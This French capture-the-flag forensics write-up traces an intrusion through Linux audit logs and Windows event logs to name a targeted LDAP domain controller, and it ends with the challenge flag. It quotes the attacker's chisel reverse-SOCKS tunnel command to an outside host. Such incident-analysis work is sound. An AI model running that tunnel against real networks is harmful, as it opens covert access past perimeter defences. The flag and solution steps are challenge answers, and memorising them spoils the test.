Analyse des logs Linux
Lors de l’étape précédente, nous avons identifié que le binaire text était en réalité chisel, un outil de tunneling réseau.
Ce qu’on a pu déduire grâce à sa syntaxe d’exécution:
./text client -v 80.125.9.58:4444 R:socks
L’objectif est maintenant d’identifier les communications LDAP effectuées via ce binaire vers les ports 389 (LDAP) et 636 (LDAPS).
On filtre les logs linux pour trouver toutes les communications provenant de text vers ces ports:
grep '/var/www/app/banque_paouf/text' *.log | grep -E 'lport=389|lport=636'
Résultats
Les logs sur lequels ont tombe ressemblent à ça :
node=webserver type=SOCKADDR msg=audit(06/13/2023 16:38:27.290:4001) : saddr={ saddr_fam=inet laddr=172.16.45.110 lport=389 } SADDR={ saddr_fam=inet laddr=172.16.45.110 lport=389
node=webserver type=SOCKADDR msg=audit(06/13/2023 16:40:07.366:4652) : saddr={ saddr_fam=inet laddr=172.16.45.110 lport=636 } SADDR={ saddr_fam=inet laddr=172.16.45.110 lport=636
node=webserver type=SOCKADDR msg=audit(06/14/2023 11:23:50.410:10326) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389
node=webserver type=SOCKADDR msg=audit(06/14/2023 11:24:56.742:10327) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389
node=webserver type=SOCKADDR msg=audit(06/14/2023 11:25:43.954:10328) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389
node=webserver type=SOCKADDR msg=audit(06/14/2023 11:25:52.290:10329) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389
node=webserver type=SOCKADDR msg=audit(06/14/2023 14:02:42.250:11704) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389
node=webserver type=SOCKADDR msg=audit(06/14/2023 14:06:01.786:11719) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389
node=webserver type=SOCKADDR msg=audit(06/14/2023 14:07:43.470:11778) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389
node=webserver type=SOCKADDR msg=audit(06/14/2023 14:14:15.454:11793) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389
node=webserver type=SOCKADDR msg=audit(06/14/2023 14:14:48.450:11794) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389
node=webserver type=SOCKADDR msg=audit(06/14/2023 14:15:00.682:11795) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389
node=webserver type=SOCKADDR msg=audit(06/14/2023 14:15:46.822:11809) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389
node=webserver type=SOCKADDR msg=audit(06/14/2023 14:16:03.250:11810) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389
node=webserver type=SOCKADDR msg=audit(06/14/2023 14:16:06.854:11811) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389
node=webserver type=SOCKADDR msg=audit(06/14/2023 17:00:50.041:12078) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389
node=webserver type=SOCKADDR msg=audit(06/14/2023 17:00:55.785:12082) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389
node=webserver type=SOCKADDR msg=audit(06/14/2023 17:03:35.753:12085) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389
node=webserver type=SOCKADDR msg=audit(06/14/2023 17:05:36.133:12088) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389
Deux types de communications en ressortent :
- Communications vers
172.16.45.110
On observe seulement deux connexions vers les ports 389 et 636.
Cela ressemble fortement à un scan réseau (probablement via nmap) effectué par l’attaquant.
- Communications vers
172.16.42.10
En revanche, on observe beaucoup plus de communications LDAP vers 172.16.42.10 sur le port 389.
Cette adresse IP est donc très probablement le serveur LDAP ciblé lors de l’attaque.
Analyse des logs Windows
Afin de confirmer l’identité du serveur LDAP, nous analysons ensuite les logs Windows.
Conversion des logs avec Chainsaw
Pour faciliter l’analyse, nous convertissons les journaux au format JSON avec Chainsaw:
chainsaw -j -o ./output.json ./windows/
Cela nous permet de parcourir les évènements beaucoup plus simplement.
Recherche des évènements LDAP
On peut ensuite inspecter le fichier JSON avec less :
less ./output.json
Puis rechercher les évènements liés à LDAP:
/ldap
On tombe essentiellement sur des évènement ressemblant à ceci :
"Event": {
"System": {
"Provider_attributes": {
"Name": "Microsoft-Windows-Security-Auditing",
"Guid": "{54849625-5478-4994-a5ba-3e3b0328c30d}"
},
"EventID": "4648",
"Version": "0",
"Level": "0",
"Task": "12544",
"Opcode": "0",
"Keywords": "0x8020000000000000",
"TimeCreated_attributes": {
"SystemTime": "2023-06-16T10:08:46.362746300Z"
},
"EventRecordID": "255005",
"Correlation_attributes": {
"ActivityID": "{de1d8483-938b-0000-fd84-1dde8b93d901}"
},
"Execution_attributes": {
"ProcessID": "600",
"ThreadID": "652"
},
"Channel": "Security",
"Computer": "ADFS-SRV.cipherpol.gouv",
"Security": null
},
"EventData": {
"SubjectUserSid": "S-1-5-80-3245704983-3664226991-764670653-2504430226-901976451",
"SubjectUserName": "ADSync",
"SubjectDomainName": "NT SERVICE",
"SubjectLogonId": "0x9b53f8",
"LogonGuid": "{00000000-0000-0000-0000-000000000000}",
"TargetUserName": "MSOL_cc205b006f70",
"TargetDomainName": "CIPHERPOL.GOUV",
"TargetLogonGuid": "{00000000-0000-0000-0000-000000000000}",
"TargetServerName": "DC01-SRV.cipherpol.gouv",
"TargetInfo": "ldap/DC01-SRV.cipherpol.gouv/cipherpol.gouv",
"ProcessId": "0x1300",
"ProcessName": "C:\\Program Files\\Microsoft Azure AD Sync\\Bin\\miiserver.exe",
"IpAddress": "-",
"IpPort": "-"
}
}
}
Identification du FQDN
Plusieurs correspondances apparaissent avec la ligne suivante :
"TargetInfo": "ldap/DC01-SRV.cipherpol.gouv/cipherpol.gouv"
Cette information révèle le FQDN du contrôleur de domaine LDAP :
DC01-SRV.cipherpol.gouv
Construction du flag
On a maintenant:
- L’adresse IP du serveur LDAP:
172.16.42.10 - Et son FQDN:
DC01-SRV.cipherpol.gouv
On peut construire le flag:
FCSC{172.16.42.10|DC01-SRV.cipherpol.gouv}